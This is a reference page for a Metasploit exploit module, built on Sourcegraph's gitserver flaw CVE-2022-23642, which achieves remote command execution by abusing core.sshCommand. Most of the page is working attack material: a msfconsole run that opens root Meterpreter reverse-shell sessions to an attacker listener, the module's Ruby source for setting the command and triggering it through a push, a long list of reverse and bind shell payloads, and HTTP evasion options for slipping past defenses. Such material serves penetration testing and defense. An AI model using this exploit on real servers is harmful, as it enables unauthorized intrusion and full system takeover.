Sourcegraph gitserver sshCommand RCE - Metasploit
This page contains detailed information about how to use the exploit/linux/http/sourcegraph_gitserver_sshcmd metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Sourcegraph gitserver sshCommand RCE
Module: exploit/linux/http/sourcegraph_gitserver_sshcmd
Source code: modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb
Disclosure date: 2022-02-18
Last modification time: 2022-07-11 09:48:08 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 3178, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-23642
A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the commands that are able to be executed through the git exec REST API.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/linux/http/sourcegraph_gitserver_sshcmd
msf exploit(sourcegraph_gitserver_sshcmd) > exploit
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the commands that are able to be executed through the git exec REST API.
The cloned repositories can be enumerated from the /list endpoint using the curl command:
curl http://$target:3178/list?cloned=true
Verification Steps
Example steps in this format (is also in the PR):
- Install the application (see detailed Docker Installation section below)
- Start msfconsole
- Do:
use exploits/linux/http/sourcegraph_gitserver_sshcmd - Set the
RHOSTS,PAYLOADand any payload related options that are necessary - Do:
run
Docker Installation
Run the following command to start the all-inclusive docker container for Sourcegraph v3.36.3.
docker run \ --publish 3178:3178 \ --publish 7080:7080 \ --publish 127.0.0.1:3370:3370 \ --rm \ --volume /tmp/sourcegraph/config:/etc/sourcegraph \ --volume /tmp/sourcegraph/data:/var/opt/sourcegraph \ sourcegraph/server:3.36.3Once the service has started, navigate to the webinterface at http://localhost:7080
When prompted, create an administrator's account
At least one git repository must be added, complete the following steps to add one.
- Navigate to
Repositories > Managed code hosts - Select "Generic Git host"
When prompted, use the following example JSON code to clone Metasploit.
{ "url": "https://github.com/", "repos": [ "rapid7/metasploit-framework.git" ] }
- Navigate to
Options
EXISTING_REPO
An existing, cloned repository. If this value is not set, a random one will be selected from the server.
Scenarios
Docker v3.36.3
msf6 > use exploit/linux/http/sourcegraph_gitserver_sshcmd
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set TARGET Unix\ Command
TARGET => Unix Command
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > set LHOST 192.168.250.134
LHOST => 192.168.250.134
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > check
[+] 192.168.159.128:3178 - The target is vulnerable. Successfully set core.sshCommand.
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > exploit
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully set core.sshCommand.
[*] Using automatically identified repository: github.com/zerosteiner/gh-sandbox
[*] Executing Unix Command target
[*] Sending stage (40168 bytes) to 172.17.0.2
[*] Sending stage (40168 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 172.17.0.2:59116) at 2022-07-08 17:23:15 -0400
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 172.17.0.2:59124) at 2022-07-08 17:23:15 -0400
meterpreter >
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : caab8e904df4
OS : Linux 5.17.12-100.fc34.x86_64 #1 SMP PREEMPT Mon May 30 17:47:02 UTC 2022
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/http/sourcegraph_gitserver_sshcmd exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/sourcegraph_gitserver_sshcmd
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > show info
Name: Sourcegraph gitserver sshCommand RCE
Module: exploit/linux/http/sourcegraph_gitserver_sshcmd
Platform: Unix, Linux
Arch: cmd, x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2022-02-18
Provided by:
Altelus1
Spencer McIntyre
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic
1 Unix Command
2 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXISTING_REPO no An existing, cloned repository
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 3178 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen o
n all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
A vulnerability exists within Sourcegraph's gitserver component that
allows a remote attacker to execute arbitrary OS commands by
modifying the core.sshCommand value within the git configuration.
This command can then be triggered on demand by executing a git push
operation. The vulnerability was patched by introducing a feature
flag in version 3.37.0. This flag must be enabled for the
protections to be in place which filter the commands that are able
to be executed through the git exec REST API.
References:
https://nvd.nist.gov/vuln/detail/CVE-2022-23642
https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9
https://github.com/Altelus1/CVE-2022-23642
Module Options
This is a complete list of options available in the linux/http/sourcegraph_gitserver_sshcmd exploit:
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > show options
Module options (exploit/linux/http/sourcegraph_gitserver_sshcmd):
Name Current Setting Required Description
---- --------------- -------- -----------
EXISTING_REPO no An existing, cloned repository
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 3178 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.0.126 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/sourcegraph_gitserver_sshcmd exploit:
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > show advanced
Module advanced options (exploit/linux/http/sourcegraph_gitserver_sshcmd):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, curl, wget)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CMDSTAGER::URIPATH no Payload URI path for supported stagers
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS se
rvers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerBindAddress no The specific IP address to bind to if different from SRVHOST
ListenerBindPort no The port to bind to if different from SRVPORT
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negoti
ate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2 no The User-Agent header to use for all requests
_1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/98.0.4758.81 Safari/537.36
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugBuild false no Enable debugging for the Python meterpreter
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-framework/wiki/M
eterpreter-Debugging-Meterpreter-Sessions
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to
LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/sourcegraph_gitserver_sshcmd module can exploit:
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Unix Command
2 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/sourcegraph_gitserver_sshcmd exploit:
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/python/meterpreter/bind_tcp normal No Python Exec, Python Meterpreter, Python Bind TCP Stager
20 payload/cmd/unix/python/meterpreter/bind_tcp_uuid normal No Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
21 payload/cmd/unix/python/meterpreter/reverse_http normal No Python Exec, Python Meterpreter, Python Reverse HTTP Stager
22 payload/cmd/unix/python/meterpreter/reverse_https normal No Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
23 payload/cmd/unix/python/meterpreter/reverse_tcp normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager
24 payload/cmd/unix/python/meterpreter/reverse_tcp_ssl normal No Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
25 payload/cmd/unix/python/meterpreter/reverse_tcp_uuid normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
26 payload/cmd/unix/python/meterpreter_bind_tcp normal No Python Exec, Python Meterpreter Shell, Bind TCP Inline
27 payload/cmd/unix/python/meterpreter_reverse_http normal No Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
28 payload/cmd/unix/python/meterpreter_reverse_https normal No Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
29 payload/cmd/unix/python/meterpreter_reverse_tcp normal No Python Exec, Python Meterpreter Shell, Reverse TCP Inline
30 payload/cmd/unix/python/pingback_bind_tcp normal No Python Exec, Python Pingback, Bind TCP (via python)
31 payload/cmd/unix/python/pingback_reverse_tcp normal No Python Exec, Python Pingback, Reverse TCP (via python)
32 payload/cmd/unix/python/shell_bind_tcp normal No Python Exec, Command Shell, Bind TCP (via python)
33 payload/cmd/unix/python/shell_reverse_tcp normal No Python Exec, Command Shell, Reverse TCP (via python)
34 payload/cmd/unix/python/shell_reverse_tcp_ssl normal No Python Exec, Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/python/shell_reverse_udp normal No Python Exec, Command Shell, Reverse UDP (via python)
36 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
37 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
38 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
39 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
40 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
41 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
42 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
43 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
44 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
45 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
46 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
47 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
48 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
49 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
50 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
51 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
52 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
53 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
54 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
55 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
56 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
57 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
58 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
59 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
60 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
61 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
62 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
63 payload/generic/custom normal No Custom Payload
64 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
65 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
66 payload/generic/ssh/interact normal No Interact with Established SSH Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/sourcegraph_gitserver_sshcmd exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/sourcegraph_gitserver_sshcmd) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::shuffle_get_params false no Randomize order of GET parameters
HTTP::shuffle_post_params false no Randomize order of POST parameters
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all,
u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Successfully set core.sshCommand.
Here is a relevant code snippet related to the "Successfully set core.sshCommand." error message:
78: res = send_request_exec(Rex::Text.rand_text_alphanumeric(4..11), ['config', '--default', '', 'core.sshCommand'])
79: return CheckCode::Unknown unless res
80:
81: if res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
82: # this is the response if the target repo does exist, highly unlikely since it's randomized
83: return CheckCode::Vulnerable('Successfully set core.sshCommand.')
84: elsif res.code == 404 && res.body =~ /"cloneInProgress"/
85: # this is the response if the target repo does not exist
86: return CheckCode::Vulnerable
87: elsif res.code == 400 && res.body =~ /^invalid command/
88: # this is the response when the server is patched, regardless of if there are cloned repos
Did not identify any cloned repositories on the remote server.
Here is a relevant code snippet related to the "Did not identify any cloned repositories on the remote server." error message:
93: end
94:
95: def exploit
96: if datastore['EXISTING_REPO'].blank?
97: @git_repo = send_request_list.sample
98: fail_with(Failure::NotFound, 'Did not identify any cloned repositories on the remote server.') unless @git_repo
99:
100: print_status("Using automatically identified repository: #{@git_repo}")
101: else
102: @git_repo = datastore['EXISTING_REPO']
103: end
No server response.
Here is a relevant code snippet related to the "No server response." error message:
144: res = send_request_cgi({
145: 'uri' => normalize_uri(target_uri.path, 'list'),
146: 'method' => 'GET',
147: 'vars_get' => { 'cloned' => 'true' }
148: })
149: fail_with(Failure::Unreachable, 'No server response.') unless res
150: fail_with(Failure::UnexpectedReply, 'The gitserver list API call failed.') unless res.code == 200 && res.get_json_document.is_a?(Array)
151:
152: res.get_json_document
153: end
154:
The gitserver list API call failed.
Here is a relevant code snippet related to the "The gitserver list API call failed." error message:
145: 'uri' => normalize_uri(target_uri.path, 'list'),
146: 'method' => 'GET',
147: 'vars_get' => { 'cloned' => 'true' }
148: })
149: fail_with(Failure::Unreachable, 'No server response.') unless res
150: fail_with(Failure::UnexpectedReply, 'The gitserver list API call failed.') unless res.code == 200 && res.get_json_document.is_a?(Array)
151:
152: res.get_json_document
153: end
154:
155: def execute_command(cmd, _opts = {})
No server response.
Here is a relevant code snippet related to the "No server response." error message:
153: end
154:
155: def execute_command(cmd, _opts = {})
156: vprint_status("Executing command: #{cmd}")
157: res = send_request_exec(@git_repo, ['config', 'core.sshCommand', cmd])
158: fail_with(Failure::Unreachable, 'No server response.') unless res
159: unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
160: if res.code == 404 && res.get_json_document.is_a?(Hash) && res.get_json_document['cloneInProgress'] == false
161: fail_with(Failure::BadConfig, 'The specified repository has not been cloned.')
162: end
163:
The specified repository has not been cloned.
Here is a relevant code snippet related to the "The specified repository has not been cloned." error message:
156: vprint_status("Executing command: #{cmd}")
157: res = send_request_exec(@git_repo, ['config', 'core.sshCommand', cmd])
158: fail_with(Failure::Unreachable, 'No server response.') unless res
159: unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
160: if res.code == 404 && res.get_json_document.is_a?(Hash) && res.get_json_document['cloneInProgress'] == false
161: fail_with(Failure::BadConfig, 'The specified repository has not been cloned.')
162: end
163:
164: fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.')
165: end
166:
The gitserver exec API call failed.
Here is a relevant code snippet related to the "The gitserver exec API call failed." error message:
159: unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
160: if res.code == 404 && res.get_json_document.is_a?(Hash) && res.get_json_document['cloneInProgress'] == false
161: fail_with(Failure::BadConfig, 'The specified repository has not been cloned.')
162: end
163:
164: fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.')
165: end
166:
167: send_request_exec(@git_repo, ['push', @git_origin, 'master'], 5)
168: end
169:
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Related Pull Requests
- #16668 Merged Pull Request: HTTP Crawler: don't expect page object for msg
- #16774 Merged Pull Request: Suggest a correct datastore option
- #16797 Merged Pull Request: Workflows: Labels: Fix typo
- #16778 Merged Pull Request: Deprecate checkvm script and update checkvm post module
- #16743 Merged Pull Request: Fix mssql crash when using tds encryption
- #16737 Merged Pull Request: Remove initial code duplication between mssql clients
- #16792 Merged Pull Request: Widen rescue scope for reverse ssh handler
- #16789 Merged Pull Request: Add openssl version to debug command
- #16776 Merged Pull Request: Add Rex::Exploitation::CmdStagerFtpHttp to Msf::Exploit::CmdStager
- #16753 Merged Pull Request: ms03_007_ntdll_webdav: Cleanup and add additional offsets
- #16598 Merged Pull Request: Add in LDAP Query Module
- #16761 Merged Pull Request: ms01_023_printer: cleanup; use HttpClient; add additional targets
- #16754 Merged Pull Request: ms02_065_msadc: Cleanup and add additional offsets
References
- CVE-2022-23642
- https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9
- https://github.com/Altelus1/CVE-2022-23642
Authors
- Altelus1
- Spencer McIntyre
Version
This page has been produced using Metasploit Framework version 6.2.9-dev. For more modules, visit the Metasploit Module Library.
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